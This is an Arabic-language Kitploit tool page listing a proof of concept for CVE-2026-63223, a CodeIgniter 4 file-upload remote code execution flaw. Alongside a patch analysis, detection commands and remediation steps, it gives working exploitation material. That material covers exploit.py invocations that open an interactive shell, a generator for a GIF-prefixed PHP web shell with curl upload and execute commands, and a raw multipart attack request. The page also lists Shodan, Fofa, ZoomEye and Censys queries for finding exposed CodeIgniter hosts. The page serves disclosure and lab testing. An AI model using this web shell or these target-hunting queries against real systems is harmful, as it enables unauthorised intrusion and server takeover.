Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-63223-POC — PoC لـ CVE-2026-63223 — CodeIgniter 4 is_image/mime_in ثغرة RCE في رفع الملفات (CVSS 9.8). تنفيذ تعليمات برمجية عن بُعد غير مصادق عليه عبر تجاوز قيود رفع الملفات باستخدام بايتات سحرية للصور. تم إصلاحه في الإصدار v4.7.4. | Kitploit
أدوات/GitHubGitHub/imbas007/cve-2026-63223-poc
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubimbas007/cve-2026-63223-poc

CVE-2026-63223-POC

PoC لـ CVE-2026-63223 — CodeIgniter 4 is_image/mime_in ثغرة RCE في رفع الملفات (CVSS 9.8). تنفيذ تعليمات برمجية عن بُعد غير مصادق عليه عبر تجاوز قيود رفع الملفات باستخدام بايتات سحرية للصور. تم إصلاحه في الإصدار v4.7.4.

12منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
عرض المستودع
الموقع الإلكتروني
مشاركة

CVE-2026-63223 PoC — تنفيذ الأوامر عن بُعد عبر رفع الملفات في CodeIgniter 4

CVSS 9.8 (حرِج) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: رفع ملف بلا قيود بنوع خطير
الإصدار المُصحَّح: CodeIgniter 4 v4.7.4
الإعلان الأمني: GHSA-mmj4-63m4-r6h5


ملخص الثغرة

قاعدتا التحقق من رفع الملفات is_image وmime_in في CodeIgniter 4 تفحصان فقط نوع MIME المشتق من المحتوى (البايتات السحرية)، وليس امتداد اسم الملف المقدَّم من العميل.

يمكن لمهاجم غير مصادَق أن يضيف بايتات سحرية لصيغة صورة (GIF89a, \xFF\xD8\xFF\xE0, \x89PNG…) إلى ويب شيل PHP، ويسمّيها ، فتمرّر التحقق عبر أو مع احتفاظها بامتداد تنفيذي خطير. وعند تخزين الملف المرفوع في دليل يمكن الوصول إليه عبر الويب، يحقق المهاجم .

shell.php
is_image
mime_in
تنفيذًا عشوائيًا للأكواد عن بُعد

شروط التفعيل (يجب تحقق الشروط الثلاثة)

  1. يتحقق التطبيق من الرفعات باستخدام is_image أو mime_in دون فحص مستقل للامتداد (ext_in)
  2. يُحفظ الملف المرفوع باستخدام اسم الملف المقدَّم من العميل (مع الحفاظ على امتداد .php)
  3. تُخزَّن الرفعات في دليل يمكن الوصول إليه عبر الويب حيث ينفّذ الخادم PHP

تحليل التصحيح

أضاف الإصلاح في v4.7.4 طريقتين مساعدتين جديدتين وربطهما بقواعد التحقق:

is_image — قبل وبعد

root@kitploit:~
// BEFORE (vulnerable) — only checks MIME starts with "image/"
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
return true;

// AFTER (patched) — also checks extension is an image type
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
if ($this->hasInvalidImageClientExtension($file)) {  // ← NEW
    return false;
}
return true;

mime_in — قبل وبعد

root@kitploit:~
// BEFORE (vulnerable) — only checks MIME is in allowed list
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
return true;

// AFTER (patched) — also checks extension matches detected content
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
if ($this->hasMismatchedClientExtension($file)) {    // ← NEW
    return false;
}
return true;

الطرق المساعدة الجديدة

root@kitploit:~
// Rejects when non-empty client extension is NOT an image type
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    return mb_strpos($type, 'image') !== 0;
}

// Rejects when client extension doesn't match detected content type
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    return $file->guessExtension() !== $clientExtension;
}

الخلاصة الأساسية: يعتمد الإصلاح على الطريقتين الحاليتين Mimes::guessTypeFromExtension() و$file->guessExtension()، مضيفًا طبقة تحقق ثانية. الملفات المرفوعة بدون امتداد (مثل كائنات Blob في JavaScript) ما زالت مقبولة.


مكونات إثبات المفهوم

root@kitploit:~
CVE-2026-63223-POC/
├── README.md                    ← this file
├── Dockerfile                   ← vulnerable lab setup
├── docker-compose.yml           ← easy `docker compose up`
├── exploit/
│   └── exploit.py               ← Python exploit script
└── vulnerable-app/
    ├── app/Controllers/Upload.php    ← vulnerable controller
    ├── app/Config/Routes.php         ← routing
    └── app/Views/
        ├── upload_form_avatar.php    ← is_image bypass form
        ├── upload_form_doc.php       ← mime_in bypass form
        └── upload_form_safe.php      ← SAFE reference form

بدء سريع — مختبر Docker

root@kitploit:~
# Build & start the vulnerable app
docker compose up -d

# Verify it's running
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"

# Open in browser
open http://localhost:8080/upload/avatar

النقاط (Endpoints)

المسارالثغرةالتحقق
/upload/avatarقابل للاختراقis_image فقط
/upload/documentقابل للاختراقmime_in فقط
/upload/safeآمن (مجموعة تحكم)is_image + ext_in

الاستغلال

الطريقة 1 — تفاعلية

root@kitploit:~
# Install dependency
pip install requests

# Single command execution
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"

# Interactive shell
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell

# Using mime_in vector (with PDF in allowed list, but PHP still passes)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"

الطريقة 2 — يدويًا (curl)

root@kitploit:~
# Generate payload
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Verify it's recognized as an image by file(1)
file evil.php
# → evil.php: GIF image data

# Upload to vulnerable is_image endpoint
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar

# Execute
curl http://localhost:8080/uploads/evil.php?c=id

الطريقة 3 — تمويهات مختلفة لنوع MIME

root@kitploit:~
# JPEG variant (also passes is_image)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method jpg --filename wp-admin.php --cmd "ls -la /"

# PNG variant (also passes is_image, .phtml extension)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method png --filename config.phtml --shell

لماذا تنجح الثغرة

يحمل المتغير العام $_FILES في PHP وكائن UploadedFile الخاص بـ CodeIgniter معلومتين منفصلتين:

  1. type / getMimeType() — مشتق من البايتات السحرية للملف (يعتمد على المحتوى)، ويرسله المتصفح كجزء Content-Type من الرفع متعدد الأجزاء
  2. name / getClientName() — اسم الملف الأصلي القادم من العميل، بما في ذلك الامتداد

قبل التصحيح، كان is_image وmime_in يفحصان فقط المعلومة رقم 1. يرسل المهاجم:

root@kitploit:~
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif

GIF89a
<?php system($_REQUEST['c']); ?>
  • ✅ يرى is_image القيمة image/gif → يمرر
  • ✅ يُحفظ الملف باسم shell.php (مع الحفاظ على اسم العميل)
  • ✅ ينفّذ Apache/PHP-FPM ملفات .php في دليل الرفعات → RCE

بعد التصحيح، يتم التحقق المتبادل من الامتداد:

  • ❌ يرى hasInvalidImageClientExtension() الامتداد .php → يرفض

الاكتشاف والاستقصاء

الاكتشاف عبر السجلات/التحليل الجنائي الرقمي

ابحث عن ملفات PHP/PHTML/PHP5 تحتوي على بايتات سحرية لصورة في دليل الرفعات لديك:

root@kitploit:~
# Find PHP files that start with image headers
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'

# Or check raw bytes
xxd uploads/*.php | head

استعلامات Shodan

root@kitploit:~
# CodeIgniter 4 default welcome page
http.title:"Welcome to CodeIgniter"

# CI4 debug toolbar (exposed in development mode)
http.html:"debugbar_loader"

# CI4 default cookie / session fingerprint
http.component:"CodeIgniter"

# CI4-powered apps with file upload endpoints
http.title:"CodeIgniter" http.html:"upload"

# Broad search — any CI4 instance
"CodeIgniter" "X-Powered-By: PHP"

استعلامات Fofa

root@kitploit:~
# Default CodeIgniter 4 scaffold
body="CodeIgniter" && body="Welcome to"

# CI4 debug toolbar leaked (dev mode = more likely vulnerable)
body="debugbar_loader" && body="kint-rich"

# File upload forms on CI4
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"

# CI4 session fingerprint in Set-Cookie
header="ci_session"

# Broad CI4 detection
app="CodeIgniter Framework"

ZoomEye / Censys

root@kitploit:~
# ZoomEye
app:"CodeIgniter" +"file upload"

# Censys
services.http.response.body:"Welcome to CodeIgniter"

المعالجة

  1. قم بالترقية إلى CodeIgniter 4 v4.7.4+
  2. حل مؤقت (في حال تأخر التصحيح): أضف قاعدة ext_in إلى جانب is_image/mime_in
  3. دفاع متعدد الطبقات:
    • خزّن الرفعات خارج جذر الويب، وقدّمها عبر وسيط readfile()
    • عطّل تنفيذ PHP في دليل الرفعات على مستوى خادم الويب:
      root@kitploit:~
      <Directory "/var/www/html/public/uploads">
          php_admin_flag engine off
      </Directory>
      
    • أنشئ أسماء ملفات يتحكم فيها الخادم بدلًا من الحفاظ على أسماء العملاء

المراجع

  • الإعلان الأمني على GitHub — GHSA-mmj4-63m4-r6h5
  • الالتزام المُصحِّح — b6e9a4f
  • إصدار v4.7.4
  • تحليل IONIX Threat Center
  • مدخل NVD

إشعار قانوني

إثبات المفهوم هذا لأغراض تعليمية ولأغراض الاختبار الأمني المصرح به فقط. تم الإفصاح عن الثغرة بشكل مسؤول وإصلاحها. لا تستخدم هذا ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. لا يتحمل المؤلفون أي مسؤولية عن إساءة الاستخدام.

تنزيل الأداة